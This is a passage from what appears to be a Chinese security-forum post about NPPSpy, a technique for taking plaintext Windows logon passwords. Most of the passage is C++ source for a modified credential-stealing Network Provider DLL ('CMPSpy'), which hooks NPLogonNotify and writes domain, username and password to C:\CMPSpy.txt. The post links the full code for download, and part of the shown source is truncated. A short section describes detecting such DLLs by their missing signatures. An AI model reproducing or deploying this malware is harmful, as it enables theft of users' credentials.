    KerbSmartCardLogon = 6,
    KerbWorkstationUnlockLogon = 7,
    KerbSmartCardUnlockLogon = 8,
    KerbProxyLogon = 9,
    KerbTicketLogon = 10,
    KerbTicketUnlockLogon = 11,
    //#if (_WIN32_WINNT >= 0x0501) -- Disabled until IIS fixes their target version.
    KerbS4ULogon = 12,
    //#endif
#if (_WIN32_WINNT >= 0x0600)     
    KerbCertificateLogon = 13,
    KerbCertificateS4ULogon = 14,
    KerbCertificateUnlockLogon = 15,
#endif    
#if (_WIN32_WINNT >= 0x0602)     
    KerbNoElevationLogon = 83,
    KerbLuidLogon = 84,
#endif    
} KERB_LOGON_SUBMIT_TYPE, * PKERB_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _KERB_INTERACTIVE_LOGON {
    KERB_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING         LogonDomainName;
    UNICODE_STRING         UserName;
    UNICODE_STRING         Password;
} KERB_INTERACTIVE_LOGON, * PKERB_INTERACTIVE_LOGON;

extern "C" __declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
);

extern "C" __declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR * lpLogonScript
);
```

`cmpspy.cpp`如下：

```cpp
// cmpspy.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

void SavePassword(PUNICODE_STRING logondomainname, PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

hFile = CreateFile(TEXT("C:\\CMPSpy.txt"),
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
    case WNNC_SPEC_VERSION:
        return WNNC_SPEC_VERSION51;

case WNNC_NET_TYPE:
        return WNNC_CRED_MANAGER;

case WNNC_START:
        return WNNC_WAIT_FOR_START;

default:
        return 0;
    }
}

DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
    // MSV1_0:Interactive
    wstring lpAuthInfoTypeStr(lpAuthInfoType);
    wstring target = L"MSV1_0:Interactive";

if (target == lpAuthInfoTypeStr)
    {
        SavePassword(
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
            &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
        );
    }
    else {
        SavePassword(
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
        );
    }

lpLogonScript = NULL;
    return WN_SUCCESS;
}
```

虽然我加上了 `Kerberos:Interactive` 的处理，但是经过我实测，作者的在`NPPSpy.c`中，只处理 `MSV1_0:Interactive`，也是可以抓到在该机器上，第一次登录的域账号和密码的。所以，这个`Kerberos:Interactive` 到底啥时候会生效，我也不清楚。。。希望有了解的大神可以解答一下。

0x06 应急
-------

作者提供的 powershell 脚本，[Get-NetworkProviders.ps1](https://raw.githubusercontent.com/gtworek/PSBits/master/PasswordStealing/NPPSpy/Get-NetworkProviders.ps1)，能查看所有的 Network Provider 的 DLL 和对应的签名，来辅助排查是否遭受过该攻击。

![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-42e1d7402b00d31993339bb04dfdadeb70c93925.png)

如上图，我们的恶意 dll 特别的突出，签名都是空的。

0x07 福利时间
---------

修改后的代码已经全部上传到 github 上，自取。

<https://github.com/fengwenhua/CMPSpy>

0x06 后言
-------

处于实战的场景考虑，本来还想加上 `NPPasswordChangeNofity` 搞搞自动发邮件什么的，但是本文篇(zhu)幅(yao)太(shi)长(lang)了，而且 mimikatz 已经内置了：<https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/knp.c> 。所以本次分享到此为止了，希望能帮助到有需要的人。

**都看到这里了，不管你是直接拉到底的，还是看到底的，要不辛苦一下，给点个推荐呗？**

发表于 2021-12-27 11:16:13
阅读 ( 12007 )
分类：漏洞分析

对获取 Windows 明文密码的小工具 NPPSpy 的一次深究

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